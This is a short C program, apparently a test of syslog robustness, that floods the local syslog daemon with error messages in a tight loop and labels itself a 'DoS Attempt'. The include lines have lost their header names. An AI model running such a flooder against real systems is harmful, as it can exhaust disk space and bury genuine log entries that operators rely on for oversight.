#include #include int main(int argc, char * argv[]) { int rc; struct timespec tv = { .tv_nsec = 5000 }; openlog("DoS Attempt", 0, LOG_DAEMON); while(!(rc = nanosleep(&tv, NULL))) { syslog(LOG_ERR, "This is a nasty attempt to DoS syslog\n"); } if(rc) { perror("nanosleep"); } }